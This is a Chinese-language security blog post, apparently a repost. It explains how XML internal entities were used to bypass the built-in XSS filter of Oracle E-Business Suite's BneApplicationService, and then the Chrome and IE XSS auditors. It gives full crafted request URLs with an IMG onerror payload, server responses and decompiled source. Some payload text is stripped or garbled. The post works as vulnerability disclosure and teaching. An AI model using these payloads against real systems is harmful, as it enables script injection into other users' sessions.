首页 » 漏洞 » 使用XML内部实体绕过Chrome和IE的XSS过滤

使用XML内部实体绕过Chrome和IE的XSS过滤

 

使用XML内部实体绕过Chrome和IE的XSS过滤

 

简介

假如你要让Web应用在后台执行某些XML处理任务的话,那么你将很有可能受到XSS攻击(跨站脚本攻击)。我之所以会这样说,是因为安全研究人员发现,攻击者现在可以使用XML内部实体来绕过目前常见浏览器的XSS过滤器,受影响的浏览器包括Chrome、IE、以及Safari在内。当然了,这种攻击手段对火狐浏览器也同样能够奏效,但很明显火狐浏览器中并不存在XSS过滤器。

红黑联盟小百科:XSS攻击

跨站脚本攻击(XSS)是一种经常出现在Web应用中的计算机安全漏洞,它允许Web攻击者将恶意代码植入到提供给其它用户使用的页面中,比如说HTML代码和客户端脚本等。对于跨站脚本攻击,黑客界的共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript则是一种新型的“ShellCode”。

XML实体

所谓XML实体,实际上就是一些内容占位符。它不仅可以用于内容转义,而且还可以代表一些重复的、无法通过键盘输入的、或者与XML 规范保留字相冲突的字符数据。从这一点来看,它有些似类于 C# 中的转义字符。

由此可以看出,XML实体的作用主要有以下几点:

1. 代替无法输入的字符。键盘只有26个字母和一些简单的标点符号,而字符集中有很多符号是无法通过键盘直接输入的,此时就使用实体来代替。

2. 代替一些与XML规范保留字相冲突的内容,如:“”等。

3. 代替大段的重复文本。

绕过常见浏览器的XSS过滤器

Oracle的“eBusiness Suite”电子商务套件其v12.x以及之前版本的BneApplicationService Servlet中存在一个跨站脚本漏洞。当时,安全研究专家正在尝试寻找外部XML实体处理过程中存在的安全漏洞,但是却意外发现了这个跨站脚本漏洞。

如果我们在浏览器中发送下面这段请求:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=XXX

那么我们将会得到如下所示的响应信息:

The following error has occurred

Exception Name: oracle.apps.bne.exception.BneFatalException -

oracle.apps.bne.exception.BneFatalException: XML parse error in file at line 1, character 1.

Log File Bookmark: 392699

于是,我们修改了请求,然后将其封装在了一个XML标签内:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3CFOO%3EXXXXX%3C/FOO%3E

现在,我们所得到的响应信息如下所示:

The following error has occurred

Exception Name: oracle.apps.bne.exception.BneFatalException - java.lang.ClassCastException:

oracle.xml.parser.v2.XMLText cannot be cast to oracle.xml.parser.v2.XMLElement

Log File Bookmark: 602808

所以接下来,我们就要尝试弄清楚相关类文件在底层到底是如何处理这些请求的。在对源代码进行了审查之后,我们在createBodyBneStyle方法中发现了下列信息:

XMLDocument localXMLDocument = BneXMLDomUtils.parseString(this.m_messagesXML);

XMLElement localXMLElement1 =

(XMLElement)localXMLDocument.getDocumentElement();

NodeList localNodeList = localXMLElement1.getChildNodes();

for (int i = 0; i

{

String str1 = "";

String str2 = "";

String str3 = "";

String str4 = null;

String str5 = null;

Node localNode = null;

XMLElement localXMLElement2 = (XMLElement)localNodeList.item(i);

NamedNodeMap localNamedNodeMap = localXMLElement2.getAttributes();

localNode = localNamedNodeMap.getNamedItem("bne:type");

if (localNode != null) {

str1 = localNode.getNodeValue();

}

localNode = localNamedNodeMap.getNamedItem("bne:text");

if (localNode != null) {

str2 = localNode.getNodeValue();

}

localNode = localNamedNodeMap.getNamedItem("bne:value");

if (localNode != null) {

str3 = localNode.getNodeValue();

}

localNode = localNamedNodeMap.getNamedItem("bne:cause");

if (localNode != null) {

str4 = localNode.getNodeValue();

}

localNode = localNamedNodeMap.getNamedItem("bne:action");

if (localNode != null) {

str5 = localNode.getNodeValue();

}

if ((!str1.equalsIgnoreCase("DATA")) && (str2 != ""))

{

localStringBuffer.append("

" + str2 + "");

localStringBuffer.append("

" + str4 + "");

我们可以从上面这段源码中看到,如果我们将"bne:text"设置成除"data"之外的任意字符串那么它和"bne:cause"的值将会从浏览器直接输出。这样一来,我们就可以创建一个查询字符串,而且这条查询语句不会导致XML解析发生错误。查询请求如下所示:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3C

 

使用XML内部实体绕过Chrome和IE的XSS过滤

 

我们可以看到,这种方法可以轻易地帮助攻击者实现一次跨站脚本攻击。接下来,让我们来进行一些简单的尝试。我们将发送“”,看看会发生什么事情。请求链接如下:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%3CIMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

我们所获取到的响应信息如下:

Reserved program word

bne:cause="

Press the Back button and remove the reserved program word. Contact your system administrator if the

value cannot be changed.

好的,从我们所获取到的信息来看,BneApplicationService中内置有一个XSS过滤器,而这个XSS过滤器就是我们需要绕过的东西。还记得文中一开始提到的吗?我们此前曾尝试寻找XML外部实体(XXE)的处理漏洞。虽然失败了,但是在分析的过程中,我突然产生了使用内部XML实体来绕过XSS过滤器的想法。这也就意味着,我们可以将攻击代码拆分成大量的占位符,之后在情况允许的情况下再将代码进行重组,这样就可以对我们的攻击行为进行伪装,以此来躲避安全防护系统的检测。首先,让我们在请求链接中去掉“”中的第一个尖扣号“

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22IMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

 

使用XML内部实体绕过Chrome和IE的XSS过滤

 

好的,一切都在我们的预料之中。那么接下来,为了绕过BneApplicationService的内置过滤器,我们只需要使用一个XML内部实体来处理那个“缺失”的尖扣号即可。为此,我们添加了一个名为“xxx”的XML内部实体,然后将尖括号“

]>

此时的请求链接如下:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE%20DWL%20%5B%3C%21ENTITY%20xxx%20%22%26lt;%22%3E%5D%3E%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%26xxx;IMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

我们的“alert(1)”并没有得到执行,但这也是意料之中的事情,因为Chrome的XSS过滤器已经检测到了我们的这次攻击:

 

使用XML内部实体绕过Chrome和IE的XSS过滤

 

绕过Chrome的XSS过滤器

那么现在,我们就要想办法来绕过Chrome的XSS过滤器。当然了,我们依然可以使用XML内部实体来完成这个任务。我们为IMG和SRC的onerror事件创建了实体对象,虽然Web服务器

{C}端的XML解析器会对我们的信息进行编译处理,但是Chrome浏览器端并不会将其视作一次XSS攻击。我们所构建的请求如下:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20DWL%20%5B%3C%21ENTITY%20xxx%20%22%26lt;%22%3E%3C%21ENTITY%20yyy%20%22IMG%22%3E%3C%21ENTITY%20zzz%20%22SRC%22%3E%3C%21ENTITY%20ppp%20%22one%22% 3E%5D%3E%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%26xxx;%26yyy;%20%26zzz;=/x%20%26ppp;rror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

 

使用XML内部实体绕过Chrome和IE的XSS过滤

 

实验结果如上图所示。

我们的测试环境如下:

-火狐浏览器(版本号47)

-Chrome浏览器(版本号51)

-IE 11浏览器

-Safari 9.1.1

原文链接:使用XML内部实体绕过Chrome和IE的XSS过滤,转载请注明来源!

0